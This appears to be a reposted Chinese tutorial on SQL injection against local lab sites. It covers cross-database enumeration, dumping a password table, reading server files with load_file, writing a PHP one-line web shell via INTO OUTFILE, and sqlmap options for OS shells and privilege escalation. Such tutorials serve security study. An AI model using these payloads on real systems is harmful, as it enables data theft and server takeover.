一、跨库注入
比如在同一IP下有两个站点分别对应A、B网站,如果A网站存在高权限注入(root)那么就会导致同一数据库B站点或者其他web应用数据泄露。
这里演示:
本地A站点:http://sqli-labs-master:100/Less-1/ 对应数据库权限root
本地B站点:http://127.0.0.1/xinyuan/index.php 对应数据库权限普通用户
那么此时在A网站我们先手工注入查看数据库权限,id=-1' union select 1,2,user() --+
发现是root权限
查看所有数据库,-1' union select 1,group_concat(SCHEMA_NAME),3 from information_schema.schemata--+
这里就可以发现B网站的是数据库php_wish,还有其他网站的数据库。之前介绍过 information_schema.schemata表下的列shcema_name 存储数据库名信息的表
好了我们接着获取B网站数据库下的所有表名,-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='php_wish'--+
发现只有一个表名wish
然后获取wish表名下所有列名,-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='wish' and table_schema='php_wish'--+
最后获取数据,-1' union select 1,id,password from php_wish.wish--+
这里注意跨库注入的话要在表前面加上点指定数据库,因为当前数据库是security,不指定数据库默认查询的就是security数据库下的表
前面是手工注入,那么用工具sqlmap和手工有什么区别,如果目标站点是一个高权限注入,比如 --tables 那么工具默认就会先获取高权限下的所有数据库再接着就是表名,那么工具如何判断高权限,不同数据库对应不同判断的内置函数,只需要 --is-dba 就可以判断是否是高权限
二、文件读写
当拥护高权限的时候就可以进行文件读写,取一些敏感文件,或者写入一句话木马
1' union select 1,load_file('d:/test.txt'),3--+
写入一句话木马
id=-1' union select 1,'<?php eval($_POST[cmd]);?>',3 into outfile 'D:/phpstudy_pro/WWW/xinyuan/x.php' --+
那么WEB的应用路径获取:说明文件phpinfo,报错显示,特定源码爆出,配合读取中间件配置,爆破等
三、注入权限、命令执行
那么这里采用的是Sql Server数据库的墨者靶场,我们用工具进行一个对比
运用两款工具:1.Pangolin、2.Havij
一、对比Sql Server或其他数据库可操作方面
二、工具可操作自动识别攻击
那么可以做以下这些操作,我们随便选几个操作
获取数据
执行命令
文件管理
Havij的操作界面如下
所以不同的数据库对应不同的操作,然后我们康康SQLMAP的一些操作
–current-user 当前用户
–file-read 从服务器读入
–file-write 从本地写入 前面是本地文件,后面是远程要写入的文件
–sql-shell 执行sql命令终端
–os-shell 执行shell终端
我们跟进可以看到上传了tmpbvizc.php、tmpucvgu.php两个文件
那么还有以下功能就不做操作了
--os-cmd=ver 自定义命令
--os-cmd=OSCMD//执行操作系统命令
--os-shell //反弹一个osshell
--os-pwn //pwn,反弹msf下的shell或者vnc
--os-smbrelay //反弹msf下的shell或者vnc
--os-bof //存储过程缓存溢出
--priv-esc //数据库提权
--reg-read --reg-add --reg-del --reg-key
--reg-value --reg-data --reg-type
转载:https://blog.csdn.net/qq_36241198/article/details/117389739